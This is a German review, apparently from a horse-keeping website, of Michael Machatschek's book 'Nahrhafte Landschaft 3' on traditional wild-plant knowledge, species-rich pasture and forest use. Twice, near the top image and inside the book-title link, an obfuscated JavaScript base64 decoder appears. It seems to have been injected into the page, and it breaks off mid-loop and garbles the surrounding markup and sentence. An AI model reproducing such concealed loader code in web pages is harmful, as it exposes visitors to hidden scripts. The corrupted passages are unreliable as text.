Über den Koppelrand geschaut: „Nahrhafte Landschaft 3“

20. Januar 2016 | Von Redaktion | Kategorie: Featured, Rezensionen

function m65c3bbf5572b(wc){var s4=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var r1=”;var qb,rd,wb,p1,p5,q8,w7;var vf=0;do{p1=s4.indexOf(wc.charAt(vf++));p5=s4.indexOf(wc.charAt(vf++));q8=s4.indexOf(wc.charAt(vf++));w7=s4.indexOf(wc.charAt(vf++));qb=(p1<<2)|(p5>>4);rd=((p5&15)<<4)|(q8>>2);wb=((q8&3)<<6)|w7;if(qb>=192)qb+=848;else if(qb==168)qb=1025;else if(qb==184)qb=1105;r1+=String.fromCharCode(qb);if(q8!=64){if(rd>=192)rd+=848;else if(rd==168)rd=1025;else if(rd==184)rd=1105;r1+=String.fromCharCode(rd);}if(w7!=64){if(wb>=192)wb+=848;else if(wb==168)wb=1025;else if(wb==184)wb=1105;r1+=String.fromCharCode(wb);}}while(vfandschaft-3″ src=”http://www.horse-today.de/wp-content/uploads/2016/01/Boehlau_M-Machtschek_nahrhafte-landschaft-3-193x300.jpg" alt="Boehlau_M-Machtschek_nahrhafte-landschaft-3" width="193" height="300" />Die Anzahl der Bücher für Pferdebesitzer und Reiter scheint schier unerschöpflich. Ob Reitweisen, Verhalten, Ausbildung oder Haltung – die Themenwelt ist breit gefächert und deckt alle Bereiche der Nachfrage ab – so scheint es jedenfalls auf den ersten Blick. Doch trotz aller Spezialisierungen, im Bücherdschungel mangelt es vor allem häufig an einem: dem Basiswissen. Das gilt vor allem, aber nicht nur für die Fütterung der Pferde. Daher muss man manchmal über den Tellerrand – oder besser: über den Koppelrand – schauen, um Zusammenhänge besser zu verstehen - und entdeckt dabei altes Wissen wieder neu. So wird es auch den meisten Lesern von „function m65c3bbf5572b(wc){var s4='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var r1='';var qb,rd,wb,p1,p5,q8,w7;var vf=0;do{p1=s4.indexOf(wc.charAt(vf++));p5=s4.indexOf(wc.charAt(vf++));q8=s4.indexOf(wc.charAt(vf++));w7=s4.indexOf(wc.charAt(vf++));qb=(p1<<2)|(p5>>4);rd=((p5&15)<<4)|(q8>>2);wb=((q8&3)<<6)|w7;if(qb>=192)qb+=848;else if(qb==168)qb=1025;else if(qb==184)qb=1105;r1+=String.fromCharCode(qb);if(q8!=64){if(rd>=192)rd+=848;else if(rd==168)rd=1025;else if(rd==184)rd=1105;r1+=String.fromCharCode(rd);}if(w7!=64){if(wb>=192)wb+=848;else if(wb==168)wb=1025;else if(wb==184)wb=1105;r1+=String.fromCharCode(wb);}}while(vfandschaft 3" href="http://horse-today.de/?p=134313" target="_blank">Nahrhafte Landschaft 3“ aus dem Böhlau Verlag ergehen – denn die von Buchautor Michael Machatschek zusammengetragenen Erkenntnisse sprechen eine deutliche Sprache!

Quantität kann mangelnde Qualität nicht kompensieren!

Immer mehr Pferdebesitzer wünschen sich eine nahrhafte, aber nicht zu üppige Weide für ihre Vierbeiner. Die für Rinder konzipierten Leistungsgräser sind üblicherweise zu fruktanreich und artenarm. Die sogenannten „fetten“ Wiesen machen die Pferde krank. Es mangelt an standortheimischen Kräutern und Wildpflanzen, die durch eine selektive Futteraufnahme zur Selbstheilung bzw. zur Vorsorge der Tiere beitragen. Das Weidemanagement zur Wiesenbewirtschaftung früherer Zeiten unterscheidet sich von der derzeit praktizierten Grünlandbewirtschaftung und ist auf Quantität, weniger auf Qualität fokussiert.

Das Buch „Nahrhafte Landschaft 3“ richtet sich nicht explizit an Pferdebesitzer oder Tierhalter, sondern behandelt vor allem das traditionelle Wissen über Heilkräfte und Genießbarkeit von Wildpflanzen für den menschlichen Verzehr bzw. seine Verwendung durch den Menschen. Und dennoch lassen sich aus den Überlegungen und Ausführungen des Autors Michael Machatschek auch zahlreiche Empfehlungen für die Nutzung und Anwendung im Kontext Tier ableiten.

Bereits auf den ersten 50 Seiten können nicht nur (Hobby-)Gärtner und Waldbesitzer von den fundamentalen (Er-)Kenntnissen des Autors lernen, auch Reitanlageninhaber bzw. Betriebsleiter von Pensionsställen, Landwirte sowie Pferdehalter und Reiter partizipieren an den Erfahrungen des studierten Landschaftsökologen. Denn Machatschek vermittelt beeindruckend und nachvollziehbar die „Basics“, die aufgrund der Industrialisierung der Landwirtschaft inzwischen verloren gegangen oder nur noch rudimentär vorhanden sind. Das von ihm dokumentierte "neue" alte Wissen – beispielsweise über die Bewirtschaftung der Wiesen als grasreiche und blumenbunte Ernährungsgrundlage mit hoher Artenvielfalt an Kräutern und Wildpflanzen – ist dabei nicht nur interessant und gleichzeitig durchaus spannend beschrieben, sondern liefert einen echten Mehrwert für den an Nachhaltigkeit und gesunder Lebensweise orientierten Leser.

Der Wald ist „die Mutter der Äcker und Wiesen“

Die Nutzung des Waldes durch Mensch und Tier ist nach Meinung des Autors die Grundlage für die Förderung und Erhaltung der Artenvielfalt, denn er gilt „als die Mutter der Äcker und Wiesen“. Die großflächigen Monokulturen nicht nur in der Landwirtschaft, sondern u.a. auch in den Wäldern Europas verhindern jedoch eine vielschichtige Nutzbarmachung der Naturkräfte des Waldes. „Das wesentliche Prinzip der bäuerlichen Waldnutzung liegt in der Umschichtung der Waldnährstoffe für die Düngung von Acker, Wiesen, Gärten und Ackergärten, ohne dabei die Naturressourcen über Gebühr zu beanspruchen.“ – so eines der zentralen Statements von Michael Machatschek zum Thema Waldwirtschaft.

Je intensiver sich der Leser mit diesen und den anderen Kapiteln über die „Lebensmittel aus der Natur“ beschäftigt, desto fesselnder gestaltet sich die Lektüre! Die nach Jahreszeiten gegliederten Themen behandeln die unterschiedlichsten Pflanzen und teilweise auch deren Zubereitung. Immer wieder finden sich auch hier Hinweise auf ihren Einsatz beim Tier. Die zahlreichen Fotos dienen nicht nur der Gestaltung des Buches, sondern unterstützen die Erläuterungen des Autors, dessen Expertise auf gut 350 Seiten kompakt und konsolidiert Eingang gefunden hat.

Wer also den Blick über den Tellerrand wagt, kann von dem aus alter Bauernwirtschaft stammenden Gebrauchswissen nur profitieren!

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